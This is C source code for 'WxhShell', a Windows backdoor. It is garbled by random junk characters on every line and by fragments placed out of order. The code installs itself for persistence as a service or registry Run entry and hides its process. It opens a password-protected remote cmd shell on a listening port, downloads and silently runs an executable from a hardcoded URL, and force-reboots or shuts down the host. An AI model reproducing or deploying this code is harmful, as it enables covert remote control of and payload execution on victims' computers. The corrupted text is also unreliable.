    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 56Q9RU(M  
    if(Boot(SHUTDOWN)) o@}+b}R}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &xF 2!t`  
    else { Z:|2PQ4  
    closesocket(wsh); hB#z8D  
    ExitThread(0); N@UO8'"9K&  
    } cGw*edgp6  
    break; '|r('CIBN/  
    } %(`4wo},  
  // 获取shell %2=nS<kC  
  case 's': { L3 M]06y  
    CmdShell(wsh); pQaP9Y{OK  
    closesocket(wsh); XDvT#(Pu  
    ExitThread(0); <tZPS`c'_  
    break; :U`8s#  
  } /8baJ+D"4\  
  // 退出 .^^YS$%%7  
  case 'x': { ;b:Ct<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rIz"_r  
    CloseIt(wsh); euHX7  
    break; sa8Sy&X"  
    } {5U;9: sO6  
  // 离开 I(r^q"  
  case 'q': { kW&{0xkGR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rt5UT~  
    closesocket(wsh); 372ewh3'  
    WSACleanup(); JcxhI]E  
    exit(1); |y@TI  
    break; e.eQZ5n~q`  
        } C !81Km5  
  } B[^mWVp6L  
  } f<ABs4w  
DoA4#+RU  
  // 提示信息 Ml8'=KN_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y418k  
}  .Ev  i  
  } o >{+vwK  
v/f&rK*>  
  return; GYot5iLg  
} Zs!)w9y&V  
@Nb&f<+gi  
// shell模块句柄 `zAo IQ  
int CmdShell(SOCKET sock) CqDMq!  
{ 93:s[b mx  
STARTUPINFO si; w}pFa76rm  
ZeroMemory(&si,sizeof(si)); [vpZ3;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VF=$'Bl|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6sl*Ko[  
PROCESS_INFORMATION ProcessInfo; Nzz" w_#  
char cmdline[]="cmd"; X\\WQxj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C^RO@kM  
  return 0; $@q)IK%FDL  
} rWF~a ec  
b #|M-DmT  
// 自身启动模式 GOHRBV  
int StartFromService(void) '6u;KIG  
{ %"@KuqV  
typedef struct S|Wv1H>  
{ vBQ|h  
  DWORD ExitStatus; }NDw3{zn  
  DWORD PebBaseAddress; Zr'VA,v  
  DWORD AffinityMask; XbYW,a@w2  
  DWORD BasePriority; RH^8"%\  
  ULONG UniqueProcessId; swuW6p  
  ULONG InheritedFromUniqueProcessId; IZeWswz  
}   PROCESS_BASIC_INFORMATION; (Ac ' }O  
$I!vQbi  
PROCNTQSIP NtQueryInformationProcess; RUm1;MWs  
LX4S}QXw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XX~~SvSM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %v:9_nwO)  
hf>JW[>Xo  
  HANDLE             hProcess; 21M@z(q*  
  PROCESS_BASIC_INFORMATION pbi; mZJ"e,AY  
Ra[{K@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FVsVY1  
  if(NULL == hInst ) return 0; 'x lK_Z  
PoY+Y3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G$:T!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rC}r99Pe:x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W"YFx*W  
FkR9-X<  
  if (!NtQueryInformationProcess) return 0; XJDp%B  
*^ncb,1+i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n  !]_o  
  if(!hProcess) return 0; G%-[vk#]  
6",1JH,;p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Jz'9  
:CNWHF4$  
  CloseHandle(hProcess); 3D[IZ^%VtM  
,95Nj h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1XU sr;Wz  
if(hProcess==NULL) return 0; PYPs64kNC]  
w0x, ~  
HMODULE hMod; ?@6N EfQf  
char procName[255]; 7NV1w*> /  
unsigned long cbNeeded; a,U[$c  
a,x-akZWf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ir-srVoXy  
xrxORtJ<  
  CloseHandle(hProcess); 6%~ Z^>`N  
i]a 5cn  
if(strstr(procName,"services")) return 1; // 以服务启动 u;H SX  
8- 3]Bm!  
  return 0; // 注册表启动 vdAaqM6D  
} v#{Sx>lO  
q asbK:}  
// 主模块 thIuK V{CO  
int StartWxhshell(LPSTR lpCmdLine) BSYJ2   
{ 4\a KC%5  
  SOCKET wsl; aFGEHZJQ  
BOOL val=TRUE; pZUckQ  
  int port=0; ET;YAa*  
  struct sockaddr_in door; u6Fm qK]Dj  
ozwPtF5  
  if(wscfg.ws_autoins) Install(); Md mS  
"bZ%1)+  
port=atoi(lpCmdLine); Y|FF ;[  
rrbD0UzFA  
if(port<=0) port=wscfg.ws_port; P~`gWGC}  
{z> fe }  
  WSADATA data; C?m2R(RF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9z6-HZG'~<  
=+;l>mn?O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #pO=\lJ,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `ECT8  
  door.sin_family = AF_INET; Q$_y +[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o.W:R Ux  
  door.sin_port = htons(port); 2%P{fJbwd  
W6J%x[>Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 67/JsL  
closesocket(wsl); uNSaw['0j  
return 1; ;]!QLO.bs^  
} ?_)b[-N!  
G(gJt l  
  if(listen(wsl,2) == INVALID_SOCKET) { dZ}gf}.v  
closesocket(wsl); z#9Tg"8]  
return 1; NU[{ANbl  
} 3+vbA;R  
  Wxhshell(wsl); -E{D' X  
  WSACleanup(); !*Ex}K99  
yTJ Eo\g/@  
return 0; m#6RJbEz  
<8;SSdoKi  
} E$l4v>iA  
/c2| *"@X  
// 以NT服务方式启动 jHjap:i`cI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;B*im S10  
{ C\ 2rSyo  
DWORD   status = 0; ;IyA"C(i  
  DWORD   specificError = 0xfffffff; g{PEplk  
>,%or cN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PgOOFRwP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >^Rkk {cc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (U@Ks )  
  serviceStatus.dwWin32ExitCode     = 0; Q$,AQyBlqc  
  serviceStatus.dwServiceSpecificExitCode = 0; RW"QUT  
  serviceStatus.dwCheckPoint       = 0; YoDL/  
  serviceStatus.dwWaitHint       = 0; \dAs<${(  
xhcFZTj/(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |k.%e4  
  if (hServiceStatusHandle==0) return;  kg &R  
T'6MAxEZUq  
status = GetLastError(); 6LRvl6ik  
  if (status!=NO_ERROR) N!~O~ Eo3  
{ 3uXRS,C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r=}v` R&  
    serviceStatus.dwCheckPoint       = 0; LX'z7fh  
    serviceStatus.dwWaitHint       = 0; x-nO; L-2p  
    serviceStatus.dwWin32ExitCode     = status; 7l(GBr  
    serviceStatus.dwServiceSpecificExitCode = specificError; px${ "K<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) kMF~S|H  
    return; ~a$h\F'6  
  } HPryq )z  
C))x#P36  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RCqd2$K"J+  
  serviceStatus.dwCheckPoint       = 0; ;F_pF+&q  
  serviceStatus.dwWaitHint       = 0; 5Z@0XI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %_@T'!]  
} Lv&9s  
]?G|:Kx$y%  
// 处理NT服务事件,比如:启动、停止 *fCmZ$U:{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MxgJ+  
{ x^zw1e,y  
switch(fdwControl) Sx8RH),k  
{ jd`h)4  
case SERVICE_CONTROL_STOP: ^UCH+C yl  
  serviceStatus.dwWin32ExitCode = 0; }el7@Gv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d{J@A;d a  
  serviceStatus.dwCheckPoint   = 0; ${)oi:K@:  
  serviceStatus.dwWaitHint     = 0; "&:H }Jd  
  { PrHoN2y5E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KCIya[$*  
  } )+Y"4?z~  
  return; 72CHyl`|l  
case SERVICE_CONTROL_PAUSE: t6uYFxE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jmuyd\?,b  
  break; VqUCcT  
case SERVICE_CONTROL_CONTINUE: }K^v Ujl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jM}(?^@  
  break; yJ/YK  
case SERVICE_CONTROL_INTERROGATE: esiU._:u  
  break; '}^qz#w   
}; .07"I7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Gs>rq" #  
} OqWm5(u&S  
Xs{PAS0  
// 标准应用程序主函数 IH&0>a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eEBo:Rc9  
{ 78\j  
*c\XQy  
// 获取操作系统版本 dF[|9%)  
OsIsNt=GetOsVer(); %JHv2[r^P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3G[|4v?[<_  
{+m8^-T  
  // 从命令行安装 ,k_"T.w  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2F+"v?n=\  
nE +H)%p  
  // 下载执行文件 cQ]c!G|a4  
if(wscfg.ws_downexe) { p+8o'dl8=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *u-$$@|y  
  WinExec(wscfg.ws_filenam,SW_HIDE); n5%\FFG0M  
} 6J\ 2 =c`  
== E8^jYJw  
if(!OsIsNt) { D w/vXyZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 "F}dZ  
HideProc(); q1q 9W@H  
StartWxhshell(lpCmdLine); #IZ.px  
} x|yJCs>  
else Yn[>Y)  
  if(StartFromService()) /* qx5$~  
  // 以服务方式启动 w\MWr+4  
  StartServiceCtrlDispatcher(DispatchTable); B~E">}=!  
else %W8iC%~  
  // 普通方式启动 2*<Zc|uNW  
  StartWxhshell(lpCmdLine); 4#}aLP  
O PzudO  
return 0; ht*(@MCr<  
} J;NIa[a  
?Wz2J3A.2t  
HHZw-/ s,%  
!(7m/R  
=========================================== h]h"-3  
jC_'6sc`  
_}Qtx/Cg  
E a&NJ]& g  
umWs8-'Uw  
u178vby;l  
" c+&Kq.~K  
WKiP0~  
#include <stdio.h> $cIaLq  
#include <string.h> z]r'8Jc  
#include <windows.h> *~g*J^R}  
#include <winsock2.h> \#(1IC`as  
#include <winsvc.h> \H bZ~I-  
#include <urlmon.h> Y ~g\peG7  
McN[  
#pragma comment (lib, "Ws2_32.lib") ,|d9lK`"P  
#pragma comment (lib, "urlmon.lib") *d jLf.I@  
r@}`Sw]@  
#define MAX_USER   100 // 最大客户端连接数 g3c<c S^l  
#define BUF_SOCK   200 // sock buffer ?5J# yn  
#define KEY_BUFF   255 // 输入 buffer x;)I%c  
~9 .=t'  
#define REBOOT     0   // 重启 &n;*'M  
#define SHUTDOWN   1   // 关机 u+Ix''Fn#%  
)-_^vB  
#define DEF_PORT   5000 // 监听端口 8 7(t<3V&  
9:4S[mz/hD  
#define REG_LEN     16   // 注册表键长度 m{Vd3{H40  
#define SVC_LEN     80   // NT服务名长度 aSvv(iV  
~*7$aj  
// 从dll定义API }ofb]_C,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I4G0 !"T+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4WvW11q8U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '";#v.!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &'$Bk5D@G  
mFF4qbe  
// wxhshell配置信息 3T8d?%.l  
struct WSCFG { JY2<ECO  
  int ws_port;         // 监听端口 {ogBoDS  
  char ws_passstr[REG_LEN]; // 口令 v1 8<~  
  int ws_autoins;       // 安装标记, 1=yes 0=no a*y9@RC}  
  char ws_regname[REG_LEN]; // 注册表键名 Q"dq_8\`U  
  char ws_svcname[REG_LEN]; // 服务名 -n.m "O3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g %mCg P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7S }0Kuk)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OW@%H;b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q13fmK(n-5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uC;_?Bve  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UE'=9{o`  
Cw+boB_tip  
}; 9>&zOITTaL  
$_"u2"p  
// default Wxhshell configuration ?Z 2,?G  
struct WSCFG wscfg={DEF_PORT, 4C=W~6~  
    "xuhuanlingzhe", Uw("+[5O0  
    1, ,!l_  
    "Wxhshell", #@B"E2F  
    "Wxhshell", ;stuTj@vH  
            "WxhShell Service", +a!3*G@N+  
    "Wrsky Windows CmdShell Service", 8TFQ%jv  
    "Please Input Your Password: ", m`-);y  
  1, X%'z  
  "http://www.wrsky.com/wxhshell.exe", #SHeK 4  
  "Wxhshell.exe" ?gMx  
    }; RRt(%Wm*  
X} k;(rb  
// 消息定义模块 .J75bX5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /xk7Z q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i\6CE|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0SL{J*S4[#  
char *msg_ws_ext="\n\rExit."; KQPu9f9  
char *msg_ws_end="\n\rQuit."; 3%+ ~"4&  
char *msg_ws_boot="\n\rReboot..."; 45c?0tj  
char *msg_ws_poff="\n\rShutdown..."; \P.h;|u  
char *msg_ws_down="\n\rSave to "; TN0KS]^A3  
1(o\GI3:  
char *msg_ws_err="\n\rErr!"; qi4P(s-i  
char *msg_ws_ok="\n\rOK!"; '3b\d:hN  
0)WAQt\/  
char ExeFile[MAX_PATH]; 7'IIB1v.\  
int nUser = 0; AT"gRCU$4  
HANDLE handles[MAX_USER]; UGPDwgq\v  
int OsIsNt; cj[b^Wv:  
E@SFK=`  
SERVICE_STATUS       serviceStatus; [7@ g*!+d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L0wT:x*  
DO: ,PZX  
// 函数声明 (A~7>\r +  
int Install(void); LlX)xJ  
int Uninstall(void); dVb6u  
int DownloadFile(char *sURL, SOCKET wsh); #|b*l/t8  
int Boot(int flag); )=~&l={T  
void HideProc(void); w jkh*Y  
int GetOsVer(void); { ptd OrN  
int Wxhshell(SOCKET wsl); EsGu#lD2  
void TalkWithClient(void *cs); _RIU,uJs  
int CmdShell(SOCKET sock); huC{SzXM  
int StartFromService(void); K{P-+(  
int StartWxhshell(LPSTR lpCmdLine); fB$a )~  
rwq   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ce}`z L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?Y~t{5NJR  
T3{O+aRt  
// 数据结构和表定义 RCR= W6  
SERVICE_TABLE_ENTRY DispatchTable[] = Sb`[+i' `  
{ ZE=sw}=  
{wscfg.ws_svcname, NTServiceMain}, Y7t#)?  
{NULL, NULL} <Q|\mUS6  
}; CQWXLQED>  
D]@(LbMG4  
// 自我安装 P =X]'m_B  
int Install(void) ly%^\jW  
{ ;73S;IPR  
  char svExeFile[MAX_PATH]; (K[{X0T  
  HKEY key; W3.[d->X  
  strcpy(svExeFile,ExeFile); f-F=!^.  
Xw4Eti._D  
// 如果是win9x系统,修改注册表设为自启动 Dd?G4xUG  
if(!OsIsNt) { +M=h+3hw](  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Pm5nS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5eTA]  
  RegCloseKey(key); SP%X@~d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KtQs uL%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xG sOnY;  
  RegCloseKey(key); NljpkeX'  
  return 0; #z(:n5$F  
    } 8&@=Anc&q  
  } /!Rva"  
} 6Ryc&z5  
else { p.W7>o,[w  
]ae(t`\l^  
// 如果是NT以上系统,安装为系统服务 !4p{ b f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mV^w|x  
if (schSCManager!=0) -m`|Sq  
{ $J6 .0O  
  SC_HANDLE schService = CreateService Q,NnB{R  
  ( ( >}1t!1  
  schSCManager, 1GN^ui a7  
  wscfg.ws_svcname, ]t 0o%w  
  wscfg.ws_svcdisp, ?\\wLZ  
  SERVICE_ALL_ACCESS, ;u2[Ww~k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,kJ'_mq  
  SERVICE_AUTO_START, Q`bXsH  
  SERVICE_ERROR_NORMAL, :I#.d7`uk  
  svExeFile, vsI;ooR>  
  NULL, t=7Gfv  
  NULL, 6m&GN4Ca  
  NULL, q[Ai^79  
  NULL, }%XB*pzQ  
  NULL nFni1cCD  
  ); "r6qFxY  
  if (schService!=0) DGJ:#U E  
  { ?^|[Yzk  
  CloseServiceHandle(schService); VESvCei  
  CloseServiceHandle(schSCManager); j}Tv/O,f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @ 51!3jeu  
  strcat(svExeFile,wscfg.ws_svcname); WoXAOj%iW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R6<'J?k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0eO!,/  
  RegCloseKey(key); j"jssbu}  
  return 0; `*U@d%a  
    } V_ 6K?~j  
  } ytj});,>  
  CloseServiceHandle(schSCManager); OXLB{|hH80  
} 0@_8JB ?E  
} z 4}"oQk:r  
z"6o|]9I  
return 1; Z*Ffdh>*:&  
} jO"/5 x26  
.EhC\QpP  
// 自我卸载 m !:F/?B  
int Uninstall(void) ^fKKsfIf  
{ \WE/#To  
  HKEY key; 1<9d[N*  
_U}|Le@ e  
if(!OsIsNt) { UL ew ~j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L@MCB-@V  
  RegDeleteValue(key,wscfg.ws_regname); yMW3mx301j  
  RegCloseKey(key); 9{u/|,rq1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { di_N}x*  
  RegDeleteValue(key,wscfg.ws_regname); 1N),k5I  
  RegCloseKey(key); 23LG)or.JC  
  return 0; C=c&.-Nb9  
  } 0uKm)t/  
} 6 w!qZ4$  
} z .lb(xQ  
else { ?o V.SG'  
k&yBB%g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pe[huYE  
if (schSCManager!=0) f$ /C.E  
{ ?z`yNx6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '\H & EJ'  
  if (schService!=0) K{y`Sb~k  
  { =2Ju)!%wr  
  if(DeleteService(schService)!=0) { je\]j-0$u  
  CloseServiceHandle(schService); XPYf1H  
  CloseServiceHandle(schSCManager); _u-tRHh|A  
  return 0; 2v?#r"d  
  } (|W6p%(  
  CloseServiceHandle(schService); Xj?LU7  
  } fpNq  
  CloseServiceHandle(schSCManager); 7TX$  
} 'o]}vyz;  
} s/?(G L+Ae  
0Q%I[f8  
return 1; *[nS*D\:  
} t2ui9:g4j  
^CwS'/fdN  
// 从指定url下载文件 On4Vqbks  
int DownloadFile(char *sURL, SOCKET wsh) oz'jt} ?  
{ @)ozgs@e  
  HRESULT hr; IL8&MA%  
char seps[]= "/"; Gd&G*x  
char *token; tchpO3u,  
char *file; Sr10ot&ox  
char myURL[MAX_PATH]; 1 xrmmK  
char myFILE[MAX_PATH]; #$t93EI  
TAM`i3{D  
strcpy(myURL,sURL); ;f3))x  
  token=strtok(myURL,seps); My9fbT  
  while(token!=NULL) e]jzFm~  
  { A- hWg;  
    file=token; @(st![i+  
  token=strtok(NULL,seps); %]DJ-7 xE  
  } nRZ T~S4  
!]f:dWSLB  
GetCurrentDirectory(MAX_PATH,myFILE); \]/ 6>yT  
strcat(myFILE, "\\"); wCr+/" t  
strcat(myFILE, file); n@e|PWu  
  send(wsh,myFILE,strlen(myFILE),0); n]JfdI  
send(wsh,"...",3,0); )vur$RX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6v -2(Y  
  if(hr==S_OK) `WU"*HqW  
return 0; 9%Ftln6  
else zQ eXN7$  
return 1; 7^8<[8  
c;7ekj  
} [=xO>  
} SA/,4/9  
// 系统电源模块 d 'wWj  
int Boot(int flag) Oz,/y3_  
{ H"g p  
  HANDLE hToken; XAr YmO  
  TOKEN_PRIVILEGES tkp; W[W}:@KZ  
n47v5.Wn  
  if(OsIsNt) { 93N:?B9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C@ z^{Z+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B1gBvss  
    tkp.PrivilegeCount = 1; Zz04Pz1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {@[z-)N7\,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Co>=<\yi  
if(flag==REBOOT) { [<{+tAdn)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V5LzUg]  
  return 0; M>g\Y  
} nz]+G2 h  
else { a2un[$Jq`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X8b= z9  
  return 0; 2V#(1Hc!  
} {^ ^)bf|1'  
  } P\CT|K'P  
  else { ',p`B-dw  
if(flag==REBOOT) { &<sDbN S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3"hPplE  
  return 0; qMe$Qr8  
} #4*~ 4/  
else { e[7n`ka '  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #Hr>KQ5mJQ  
  return 0; v [ 4J0  
} =7mn= w?  
} x-/`c  
xV4 #_1(  
return 1; hIPU%  
} FHS6Mk26  
0)'^vJe  
// win9x进程隐藏模块 58Fan*fO  
void HideProc(void) O?9&6x   
{ >\ :kP>U  
tQ:)j^\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Ug  
  if ( hKernel != NULL ) {? jr  
  { $!x8XpR8s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _s Z9p4]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8`*Wl;9u  
    FreeLibrary(hKernel); 8rXu^  
  } 7N / v  
h$FpH\-  
return; :U>o;  
} dhW)<  
*;wPAQE  
// 获取操作系统版本 2#:h.8  
int GetOsVer(void) x-km)2x=W  
{ \4`~ J@5Y  
  OSVERSIONINFO winfo; eEkF Zx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }^;Tt-*k  
  GetVersionEx(&winfo); +.T&U7xV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wG4=[d  
  return 1; HgP9evz,0  
  else  `k/hC  
  return 0; e`fN+  
} (7G5y7wI"  
[ 44d(P'  
// 客户端句柄模块 hTZaI*  
int Wxhshell(SOCKET wsl) ,mR$Y T8  
{ oX@0+*"  
  SOCKET wsh; *wcb5p  
  struct sockaddr_in client; oO-kO!59y  
  DWORD myID; C d)j %  
X|)Ox ,(  
  while(nUser<MAX_USER) _Kg:jal  
{ C3 ^QNhv  
  int nSize=sizeof(client); rYbb&z!u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SyFO f  
  if(wsh==INVALID_SOCKET) return 1; ;H5PiSq;z  
GtRc7,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lV/-jkR  
if(handles[nUser]==0) ^~k2(DLk  
  closesocket(wsh); BD+V{x}P  
else ,rT62w*e  
  nUser++; vkWh2z  
  } $bRakF1'S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &o>ctf.x  
mrR~[533j  
  return 0; 48JD >=@7  
} y#Je%tAe 2  
:!a'N3o>  
// 关闭 socket 2`qO'V3Q  
void CloseIt(SOCKET wsh) '`$z!rA  
{ ,b2YUb]U  
closesocket(wsh); ,C%fA>?UF8  
nUser--; ]5X=u(}  
ExitThread(0); @0cQ4}  
} #gzY _)E  
y%A!|aBu  
// 客户端请求句柄 M8 oCh  
void TalkWithClient(void *cs) Gj^JpG  
{ zi7,?bD  
WVUa:_5{  
  SOCKET wsh=(SOCKET)cs; cs[_5r&:  
  char pwd[SVC_LEN]; >h+[#3vD  
  char cmd[KEY_BUFF]; 9~8 A>  
char chr[1]; X_yAx)Do  
int i,j; 5}d"nx  
/ 4P+  
  while (nUser < MAX_USER) { bi`{ k\3A  
[jb3lO$Xa  
if(wscfg.ws_passstr) { /,v>w,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); es}j6A1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n\8;4]n  
  //ZeroMemory(pwd,KEY_BUFF); 3T)GUzt`  
      i=0; d4OWnPHv&}  
  while(i<SVC_LEN) { W`HO Q  
9aYDi)  
  // 设置超时 * 7: )k  
  fd_set FdRead; H'N$Vv2q  
  struct timeval TimeOut; h/u>F$}c  
  FD_ZERO(&FdRead); <xOv0B  
  FD_SET(wsh,&FdRead); \LX!n!@  
  TimeOut.tv_sec=8; z8W@N8IqC  
  TimeOut.tv_usec=0; 2$8#ePyq*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'BY{]{SL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M>H4bU(  
r83chR9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t[Dg)adc  
  pwd=chr[0]; HZ$q`e  
  if(chr[0]==0xd || chr[0]==0xa) { e!cZW.B=`f  
  pwd=0; P e_mX*0  
  break; d5?"GFy  
  } TNY d_:j  
  i++; P} =eR  
    } a o_A %?Ld  
2w>l nJ-  
  // 如果是非法用户,关闭 socket 3fC|}<Wzt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mQ#E{{:H+  
} 1]eh0H  
pyPS5vWG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DtBIDU]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a|B^%  
utk'joo  
while(1) { UO-<~DgH  
/+pPcK  
  ZeroMemory(cmd,KEY_BUFF); b?&=gm%oU  
CV <@Rgoa  
      // 自动支持客户端 telnet标准   `V N $ S  
  j=0; ZSL:q%:.  
  while(j<KEY_BUFF) { )u{)"m`&[J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DwTqj=l  
  cmd[j]=chr[0]; Y,1sNg  
  if(chr[0]==0xa || chr[0]==0xd) { ]V9z)uz  
  cmd[j]=0; b"Ep?=*5  
  break; XxT7YCi  
  } {,r7dxI)`  
  j++; &&C]i~  
    } G$\2@RT9[  
!6:q#B*  
  // 下载文件 |JVeW[C  
  if(strstr(cmd,"http://")) { i?^C c\gH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?Z}n0E `  
  if(DownloadFile(cmd,wsh)) ^/+0L[R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5H_%inWM  
  else QiU!;!s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y]OW{5(  
  } vfT<%Kl!'  
  else { =l`xXma  
K7&A^$`  
